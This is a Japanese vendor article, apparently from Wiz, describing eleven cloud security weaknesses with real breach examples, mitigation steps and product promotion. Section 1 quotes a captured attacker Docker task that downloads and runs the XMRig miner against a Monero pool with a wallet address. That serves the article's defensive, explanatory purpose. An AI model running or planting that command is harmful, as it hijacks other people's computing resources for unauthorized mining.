クラウドセキュリティの脆弱性11選。今すぐ実践できる防衛策とは

Wiz エキスパートチーム
キーテイクアウト
  • クラウドセキュリティにおける脆弱性とは、クラウド環境に存在する防衛上のギャップのことです。攻撃者はこのギャップを悪用して、不正アクセス、データの窃取、サービス妨害を行います。

  • インフラの可視性が不足していると、セキュリティ侵害が長期化する原因になります。例えば、クラウドの設定ミスが原因で発生したトヨタ自動車における10年間に及ぶ顧客データの漏洩などは、その典型的な事例です。

  • アクセス権限の管理が不十分だと、認証情報の窃取につながります。Dropbox Signのデータ侵害事件では、攻撃者がアクセス管理の欠陥を突き、機微なシステムへ到達しました。

  • 内部脅威は甚大な被害を引き起こします。例えば、元AWSの従業員による1億〜1.5億ドル規模のCapital Oneのデータ侵害です。

クラウド脆弱性とは

クラウドセキュリティにおける脆弱性とは、クラウドコンピューティング環境に潜む弱点(設定ミス、暗号化不足、保護されていないAPIなど)を指します。攻撃者はこれらの弱点を悪用して不正アクセスを行い、データの窃取やシステムのサービス妨害を引き起こします。

Wiz Researchの2025年調査結果によると、クラウド環境の54%がサーバーレス機能や、重要なデータを保持したまま外部に公開されている仮想マシン(VM)に起因する脆弱性に直面しています。しかし、これは組織が把握すべき「脆弱性ランドスケープ」の一部にすぎません。攻撃者がこうした脆弱性を執拗に狙い続けるのは、単純に悪用が容易だからです。これほど一般的な問題であるにもかかわらず、リスクを認識していない、あるいは軽減方法が分からないといった理由から、十分な対策を講じられていない組織が今も存在します。本記事では、これら両方の課題に対する解決策を提示します。

米ベライゾン(Verizon)の調査も、2025年における脆弱性の深刻さを強調しています。同社の2025 Data Breach Investigations Reportによると、「データ侵害における初期の侵入経路として脆弱性が悪用された割合は増加の一途をたどり、全体の20%に達した」と報告されています。データ侵害の影響としては評判の毀損、利益率の低下、組織・業務の混乱、法的制裁金などが挙げられます。実際に、統計調査機関の独スタティスタ(Statista)は、米国におけるデータ侵害の平均被害コストが2023年時点で948万ドル(約14億円)に達したと報告しています。

Watch 12-min demo

Don't let 17+ different risk types overwhelm your team. Watch how Wiz uses a Security Graph to prioritize the "toxic combinations" that pose the greatest threat to your data.

必ず直面する11のクラウドセキュリティ脆弱性

クラウド環境において必ず直面する、代表的な11のセキュリティ脆弱性は以下の通りです。

  1. 設定ミス

  2. 可視性不足

  3. 不十分なアクセス管理

  4. 内部脅威

  5. 保護されていないAPI

  6. ゼロデイ脆弱性

  7. シャドーIT

  8. 暗号化不足

  9. 不十分なセグメンテーション

  10. 依存関係の脆弱性

  11. 不十分なログと監視

以下では、それぞれの脆弱性について過去に発生した実際の攻撃事例とともに、すぐに実践できる軽減策を解説していきます。

1. 設定ミス

設定ミスは仮想マシン(VM)、コンテナ、サーバーレス環境、infrastructure as code(IaC)などを含む、クラウドアプリケーションやシステムのセキュリティ設定における誤り・不備のことです。多くの場合、運用上の見落とし、開発スピードの速さ、リスク認識の不足、あるいはセキュリティ要件に対する誤解が要因となって発生します。

クラウドにおける設定ミスは、データ侵害を招く主要な侵入経路(攻撃ベクター)の1つです。よくある例としては、サーバーのアウトバウンド通信向けに開放されたポート、過剰な権限が与えられたID、監視不足、暗号化されていない未保護のストレージ(一般公開状態のAmazon S3バケットなど)、デフォルトのパスワードや認証情報の使い回し、サードパーティ製品側の設定ミスなどが挙げられます。

実例

Wiz Researchは2025年6月、JINX-0132と呼ばれるグループが実施していたcryptojackingキャンペーンを確認しました。このグループは、Docker APIやGiteaといったDevOpsツールにおける設定ミスを悪用して、悪意あるソフトウェアを展開していました。例えば攻撃者は、リモートコード実行(RCE)を可能にするような、設定ミスのある古いインスタンスを特定して悪用する手口を用いています。

同グループが実行していた悪性なタスク(コマンド)は、次のような形式でした。

"Config": {
           "command": "sh",
           "args": [
             "-c",
             "apt-get update -y ; sudo apt-get update -y ; apt-get install wget ; sudo apt-get install wget ; wget https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz ; sudo wget https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz ; tar -xzf xmrig-6.22.2-linux-static-x64.tar.gz ; cd xmrig-6.22.2 ; chmod 777 xmrig ; sudo chmod 777 xmrig ; ./xmrig -o pool.supportxmr.com:443 -u 468VEByGGFQSN2bJG99ovhe5SG9SLxLAA9e2s7tWFxvBM33FAEP4JbwYHEeXexq8djYpDEHg9Jq6eGF3rREnAAc4UkjLd3E --tls --coin monero --cpu-max-threads-hint=90 -p {redacted}:4646"
           ]
         }

基本的な軽減手順

  • クラウドセキュリティポスチャ管理(CSPM)ツールを活用し、クラウドの設定状態を定期的に監査・是正します。

  • クラウドリソースへのアクセス権限に対して、必要最小限の権限のみを付与します。

  • IaCを取り入れ、一貫性のある正しい設定を維持します。

2. 可視性不足

現代の企業は、複数のクラウドサービスプロバイダーの技術をその都度組み合わせることで、複雑で相互接続され、かつ常に変化するIT環境を構成しがちです。その結果、規模も影響範囲も異なるクラウドセキュリティ上の脆弱性が、この動的なインフラ全体に散在することになります。

インフラの可視性が不足していると、これら散在する脆弱性の特定をはじめ、状況把握(コンテキストの理解)、リスクの優先順位付け、そして実際の対策を講じることが困難になります。クラウド環境全体を、集中管理されたコンテキストベースの可視性によって把握できなければ、クラウドコンピューティングにおける脆弱性のリスクを正しく評価することはできません。

実例

可視性の不足は「長年にわたり脆弱な状態が続いているにもかかわらず、気づけない」という事態を意味します。例えば、トヨタ自動車の事例では、約10年間にわたり215万人分の個人情報と車両データが、気付かないうちに露状態になっていました。より良い可視性があれば、データ露出を引き起こしたクラウドの設定ミスをはるかに早い段階で特定し、対処できたはずです。

基本的な軽減手順

  • すべてのクラウドリソースに対して、集中型のログ収集と監視ソリューションを導入します。

  • クラウドネイティブアプリケーション保護プラットフォーム(CNAPP)を採用し、すべてのクラウドアセットとアクティビティに対する可視性を確保します。

  • 異常なアクティビティや未承認の操作に対してアラートを設定します。

  • 不要なリソースを定期的に棚卸し、削除します。

3. 不十分なアクセス管理

クラウド環境では、プログラムやサービスが利用する「デジタルアイデンティティ(非人間ID)」の数が、実際の従業員などの「人間アイデンティティ(人間ID)」の数を大幅に上回るため、脅威アクターにとって魅力的な標的になります。そのため、IAM(Identity and Access Management)を含むアイデンティティ関連のクラウド脆弱性は、攻撃者がIT環境へ侵入し、データを外部へ持ち出し、さらにネットワーク内を横展開して被害を拡大させるための強力な初期侵入経路になり得ます。

アクセス管理における主な脆弱性には、多要素認証(MFA)の未設定、パスワードや認証情報のずさんな管理、ポリシーの設定ミス、管理者権限の増殖、さらには標準化・自動化されたアイデンティティライフサイクル管理や集中型アクセス管理機能の欠如などが含まれます。

実例

2024年、攻撃者が「Dropbox Sign」に侵入し、ユーザーのメールアドレス、ハッシュ化パスワード、その他の認証情報にアクセスする事件が発生しました。この侵入には、自動化されたシステム設定ツール内に存在していたアクセスの脆弱性が悪用されました。攻撃によってユーザーの認証情報が外部に露出したものの、DropboxはSignのインフラを他のツールやシステムから分離していたため、被害の影響を自動的に最小限に抑制することに成功しています。

基本的な軽減手順

  • クラウドリソースへのアクセスに対して、必要最小限の権限のみを付与する「最小権限の原則」を徹底します。

  • ロールベースのアクセス制御(RBAC)を導入し、ユーザーには業務上必要な権限のみを付与します。

  • 多要素認証(MFA)とシングルサインオン(SSO)を必須化します。

  • 適切なアクセス管理プラクティスに関するトレーニングを実施します。

  • クラウドアクセスセキュリティブローカー(CASB)を採用し、クラウドリソースへのアクセスを監視・制御します。

4. 内部脅威

内部脅威とは、すでに企業のIT環境に対する一定のアクセス権限や内部知識を持つ個人、または組織に起因する脆弱性です。想定される内部者には、現職の従業員だけでなく、退職した従業員、サードパーティベンダー、ビジネスパートナーなどが含まれます。

内部脅威が発生する原因は、偶発的なミスや過失、あるいは悪意による不正行為です。フィッシングなどのソーシャルエンジニアリングによる内部起点の攻撃が多いのは、人間が企業のセキュリティ体制において最弱点になりやすいためです。

実例

会社に対して不満を抱えたクラウド人材は、クラウドコンピューティングの脆弱性やその悪用方法を熟知しているため、企業にとって大きな脅威となります。例えば2019年に発生したCapital One(キャピタル・ワン)のデータ侵害事件では、1億人以上の米国・カナダ居住者の個人情報が流出しました。原因は、同社のクラウドインフラを侵害できるノウハウと高い技術力を持っていた、元Amazonのエンジニアによる犯行でした。結果として、同社が事故対応と復旧に要した費用は推定1億〜1.5億ドルに達しました。

より最近の事例では、オンライン食料品スタートアップのKiranaProが、従業員のレイオフ直後に侵害を受けました。不満を抱えた元従業員が、クラウドのログやGitHubのソースコードを含むバックエンドインフラの一部を意図的に削除し、企業の業務妨害を行ったと報じられています。

基本的な軽減手順

  • 従業員のアクティビティを常時監視し、不審な行動を検知します。

  • 信頼されている内部者に対しても、厳格なアクセス制御を適用します。

  • 重要なシステムアクセス権限を持つ従業員の採用・アサイン時には、身元確認(バックグラウンドチェック)を実施します。

  • セキュリティトレーニングを提供し、サイバーセキュリティを重視する企業文化を醸成します。

Vulnerability Management Buyer's Guide

This buyers guide will not only help you objectively choose or replace a vulnerability management solution, but also provide insights on how your organization can work together to own the responsibility of security as one team.

5. 未保護のAPI

クラウドAPIは、クラウドソフトウェアやアプリケーション間の通信やデータ交換を成立させる要です。ゆえに、APIの脆弱性は脅威アクターにとって主要な侵入経路(攻撃ベクター)となっています。保護されていないAPIに関連する脆弱性の例としては、不十分なアクセス制御、弱い認証プロトコル、誤ったレート制限、そして意図しないデータの外部露出などが挙げられます。

実例

2022年に発生したOptusのデータ侵害事件では、インターネット上に一般公開されていた未保護のAPIが攻撃ベクターとなりました。このAPIは、データへのアクセスに際して認証プロトコルを要求しない仕様になっていました。本件の侵害により、約1,000万人分もの顧客の機微レコードが侵害される事態に至りました。

基本的な軽減手順

  • クラウドAPIに強固な認証・認可メカニズムを実装します。

  • レート制限などのコントロールを適用し、API悪用を防止します。

  • APIを定期的にスキャンし脆弱性を検出します。

6. ゼロデイ

ゼロデイ脆弱性とは、チームがまだ修正パッチを適用できていない、あるいは存在自体を把握していないセキュリティ上の欠陥のことです。脅威アクターが、この「未特定・未知のセキュリティ脆弱性」を悪用することで発生します。その形態は多岐に渡り、前述したパターンにも該当し得ますが、検知・監視体制が不足していることで、実害をもたらす脆弱性として顕在化しています。

実例

MicrosoftやGoogleでさえ、ゼロデイ攻撃の代表的な被害者として知られています。2023年にはMicrosoft WindowsおよびOffice製品の不具合が突かれ、脅威アクターがリモートコード実行を強行。組織内のデータを持ち出し、正規ユーザーのアクセスをロックするリスクが指摘され大きな話題となりました。同年Googleも深刻度が高いものを含む、複数のChromeゼロデイ脆弱性への対応を迫られていました。

基本的な軽減手順

  • パッチ管理を自動化し、すべてのソフトウェアやシステムを最新状態に保ちます。

  • 侵入検知・防御システム(IDS/IPS)を導入します。

  • ベンダーが公式パッチを提供するまでの間、仮想パッチを利用してリスクを軽減します。

7. シャドーIT

シャドーITとは、IT部門の承認やサポートなしにクラウドアセットが利用されている状況を指します。これに伴うセキュリティリスクには、従業員が個人的な目的でクラウド上のワークロードを作成することによるコスト負担や、未承認のファイル共有サービスに起因するデータ損失、さらには未承認のメッセージングサービスの利用による情報漏洩などが含まれます。

社内ツールに不満を持つユーザーが、生産性向上のために使い慣れた外部ツールへ流れてしまうケースもあれば、システムの抜け穴を悪用して業務外の活動に時間を費やしたり、企業データを持ち出したりするケースもあります。

実例

2024年、フィンテックプロバイダーの「Finastra」は、顧客ファイルの転送に利用していたサードパーティのセキュアファイル転送プラットフォーム(SFTP)に攻撃者が不正アクセスしていたことを把握しました。盗まれたデータには機密性の高い顧客ファイルが含まれており、攻撃者はこれをダークウェブで販売しました。このベンダー起点のシャドーIT問題が深刻化したのは、当該SFTPサーバーが中央のセキュリティチームの管理・監視外にあり、チームがその利用プロセスを把握していなかったため、侵害が発生しても即時に検知できなかったことが原因です。

基本的な軽減手順

  • 開発者が使用するシャドーコード(未承認コード)を排除します。

  • 組織固有の業務要件や目的に合わせたセキュリティポリシーを設計します。

  • クラウド環境全体でアクセス制御を徹底し、どのようなリソースをデプロイできるか、どこにシステム連携できるかを含めてITアセットを統制します。

8. 暗号化不足

データを暗号化すると、対応する暗号鍵を持つ正当なユーザーしか解読できない形式へと変換されます。そのため、たとえ未承認の第三者が暗号化済みのデータを入手しても解読できません。一方で、暗号化の不足はクラウドストレージにおける重大な脆弱性であり、攻撃者がクラウド環境へ侵入した場合、機密データにアクセスされてしまいます。

また、クラウドサービスにおいては、システム間を移動するデータへの不正アクセスを防止するために、通信の「転送時暗号化(HTTPSなど)」を確実に適用することが求められます。実例

米国の大手消費者信用情報機関の1つである「Equifax」では、史上最大級のデータ侵害事件が発生しました。2017年に起きたこのサイバー攻撃により、約1億4,800万人分の個人データが侵害される事態となりました。侵害の根本原因は「Apache Struts」という Webフレームワークのパッチ未適用(脆弱性の放置)でしたが、その後の調査により、同社が機密データを暗号化せずに保存していたことが判明。被害の影響を大幅に悪化させました。

基本的な軽減手順

  • データの保存時だけでなく転送時も暗号化し、気付かないうちにサードパーティにクラウドデータアクセスを許容してしまう事態を防ぎます。

  • ユーザーが安全なプロトコル経由でのみアクセスできるようシステムとデータストアを設定します。

  • ファイアウォールなどを活用し、安全ではないアクセス手段を遮断します。

  • 仮想マシン(VM)のディスクの最大限に保護するため、AES256によるフルディスク暗号化を検討します。

  • 透過的データ暗号化(TDE)を活用し利用中のデータベースを保護します。

9. 不十分なセグメンテーション

多くのクラウド環境では、強固なセグメンテーションの制御コントロールが欠如しており、攻撃者がアクセスに成功した際に横展開されやすくなります。一方で、適切なセグメンテーションをインフラに実装しておけば、侵害のエスカレーションや環境内の感染拡散を最小限に抑え、顧客データや認証情報といったアセットへの影響を低減できます。

実例

2025年、UnimicronやPrestoなどの企業はランサムウェア攻撃の増加に直面しました。特に、社内のITシステムとオペレーショナルテクノロジー間のセグメンテーションが不十分だったことが災いし、多くのケースでセキュリティ侵害が環境全体へと広がってしまったのです。

別の被害事例として、南アフリカ気象局(SAWS)も挙げられます。ランサムウェア攻撃によって気象予測業務に支障が出たため、正確な気象情報の報告が困難となり、代替ソースを用いた情報提供を余儀なくされました。この限定的なサービス提供は航空や海運などの重要セクターにも影響しました。

基本的な軽減手順

  • 厳格なネットワークゾーニングを適用し、トラフィックフローを制御します。

  • 内部ファイアウォールを展開して継続的な監視体制を追加し、セグメンテーションを定期的に検証・テストします。

  • 重要システムへのアクセスをセグメント化します。デフォルトを隔離とし、制御されたゲートウェイを備えた重要アセットを構成します。

10. 脆弱な依存関係

クラウドネイティブなアプリケーションが、外部のライブラリやサービスなどのサードパーティリソースに依存している場合、それらを経由したシステム横断的なセキュリティ侵害のリスクを考慮する必要があります。例えば、ビジネスパートナーが自社システムを更新した結果、組織が気付かないうちに悪質なコードやバックドアが自社クラウド環境に持ち込まれてしまう可能性があります。

こうした危険性は、サードパーティのセキュリティギャップを把握し、その上で自組織のセキュリティ基盤を構築することの重要性を示しています。Wizのようなソリューションは、サードパーティリスクをも特定し、軽減と保護を行うための機能を提供しています。

実例

攻撃者はファイル転送アプリMOVEitに脆弱性を発見し、CL0p脅威アクターがマルウェアを注入して機微情報を取得しました。このサードパーティのファイル転送ツールの侵害は、社内外のデータ転送にMOVEitを利用していた世界中の数千組織に大きな影響を与えました。

基本的な軽減手順

  • サードパーティサービス、SDK、ライブラリのインベントリを維持します。

  • Wizのような自動化されたクラウドネイティブソリューションを導入し、未知の脆弱性をスキャンします。

  • 最新のセキュリティアラートを注視し、依存関係に起因するリスクが発覚した場合は迅速にパッチを適用します。

  • ランタイムセキュリティツールを実装しサードパーティコードやアプリケーションの異常挙動を検知します。

11. 不十分なログと監視

クラウド環境を能動的に監視していない場合、サイバー脅威の侵入に数ヶ月以上もの間まったく気づけない可能性があります。その結果、最初は小さなセキュリティ侵害であったものが、インフラ全体へと感染が広がる大規模なクラウド侵害へ発展しかねません。

実例

子ども向け健康保険のWebサイトを構築・ホスティングしていた「Jelly Bean Communications」は7年間(2013〜2020)もの間、セキュリティ侵害を検知できずに放置していたとして、罰金を科されました。同社は「HIPAA Security Rule」への準拠が義務付けられていましたが、連邦当局による調査の結果、複数のサイト脆弱性へのパッチ適用を長年怠っていたことが侵害の直接原因だと認定されました。2023年、Jelly Beanはこの法的不備の責任を受け入れ、29万3,771ドルを支払うことで和解。この長期にわたる放置により、最大で350万人分の申請者・加入者の個人情報が影響を受けた可能性があると報告されています。

基本的な軽減手順

  • 不正なログイン試行、認証の失敗、不審なAPIコールなどの関連イベントをログ記録し、異常の早期発見に役立てます(Wizのようなソリューションはノイズを除外しリスクを優先順位付けできます)。

  • サーバ、アプリケーション、クラウドサービスのログを1つのクラウドネイティブな統合監視ソリューションへ集約し、完全な可視性を確保します。

  • 脅威の検知とアラート通知を自動化し、リアルタイムで問題に対応できるようにします。

クラウド脆弱性管理ライフサイクルのウォークスルー

A high-profile CVEs table that shows each CVE’s vendor, product, severity, fix availability, CVSS version, and KEV status

以下の6段階の脆弱性管理ライフサイクルを理解することで、具体的な防衛アクションへ映しやすくなります。

  1. 発見と評価:クラウド環境をスキャンし、設定ミス、未パッチソフトウェア、外部への露出ポイントを洗い出します。カバレッジが不十分だとID・データ・ランタイムにおける重大な盲点を見落とすリスクがあります。

  2. 優先順位付け:CVSSスコアだけでなく、現実に悪用される可能性に基づいて検出結果をフィルタリングします。多くのチームは重要度の低い問題のパッチ適用に時間を浪費し、真のリスクを放置しがちです。これこそが古典的な「リスク優先順位付けの失敗」です。

  3. 修復:修正作業を社内の適切なチームへ割り当て攻撃ルートを遮断するために迅速に行動します。遅延、オーナーシップの曖昧さ、リスクの高いパッチは攻撃者に侵害の余地を残します。

  4. 検証と監視:実施した修正対応が有効な状態を継続的に検証・監視し、同一リスクが再発しないようにします。ドリフトの放置、可視性の不足、再スキャンの省略は脅威をインフラ内に「静かに再導入」させる原因となります。

  5. レポーティング:脆弱性対策の傾向と成果を追跡し、セキュリティ改善を示します。経営層が重視すべき指標は、リスク低減のための修復までに要した時間です。

  6. 改善:得られた学びをもとに、導入しているセキュリティツール、ワークフロー、そして対応速度を改善します。静的なチェックリストに置き換えて継続的脆弱性管理を軽視すると長期的な成熟度が頭打ちになってしまいます。

脆弱性の検知と対応における自動化の役割

脆弱性管理プロセスを即座に改善する方法の1つが「自動化」の活用です。自動化はプロセス全体を高速化し人的ミスや盲点を排除して、より包括的なセキュリティを実現します。

自動化がリスク管理を改善するポイントは次の通りです。

  • 新しいアセットと脆弱性を即座に発見します

  • 組織とセキュリティへのリスクを深刻度で整理し、どれから対応すべきかを明確にします

  • 効率的なワークフローで修復をオーケストレーションします

実例:自動化は、米海軍の研究施設と技術企業Strategic Business Systems(SBS)のパートナーシップでも特に有効でした。複雑なクラウド環境と国防総省(DoD)の高い基準により、同社は完全な可視性を維持しつつ、インフラを保護できるソリューションを必要としていました。そこでSBSはWizを選定し、自動化を中核として米海軍施設の環境を集約。Wizの自動化されたセキュリティ、スキャン、コンプライアンス機能により、SBSはDoD基準を満たすことに成功したのです。

総じて、セキュリティスタックに自動化を組み込むことで手作業を最小化し、防御をスケールさせ、プロアクティブなセキュリティアプローチへ移行できます。前述の例でも示したとおり、WizのエージェントレススキャンとAIを活用した修復機能は、コードからランタイムまでのパイプライン全体で、コンテキストに沿ったガイダンスを提供します。

Wizによるクラウド脆弱性への効果的な対応

動的なIT環境におけるクラウドセキュリティ脆弱性の量は、企業にとって圧倒的になりがちです。従来型の脆弱性管理ソリューションで脆弱性を特定・是正している場合でも、低リスクな問題を適切に優先順位付けするために必要なコンテキストが不足することがあります。

Wizではエージェントレスのディープな脆弱性スキャンと分析により、最重要かつ高リスクのクラウド脆弱性にフォーカスしてこれらの課題に取り組みます。

Wizのクラウド脆弱性リスク評価はワークロード、クラウド、ビジネスのコンテキストを加味するため、脆弱性を見つけるだけでなく、それが組織へどのように、なぜ影響するのかも示します。これにより、アラート疲れを回避しIT環境をクラウドコンピューティング脆弱性から保護できます。Wizの独自アプローチがどのようにクラウド環境を強化するのか。ぜひデモをリクエストして確かめてください。

今すぐクラウドインフラの健全性を確認したい場合は、無料のCVE Risk Assessmentを利用し、クラウドの露出につながる脆弱性とその効果的な対処方法を確認してください。

Watch 12-min demo

Don't let 17+ different risk types overwhelm your team. Watch how Wiz uses a Security Graph to prioritize the "toxic combinations" that pose the greatest threat to your data.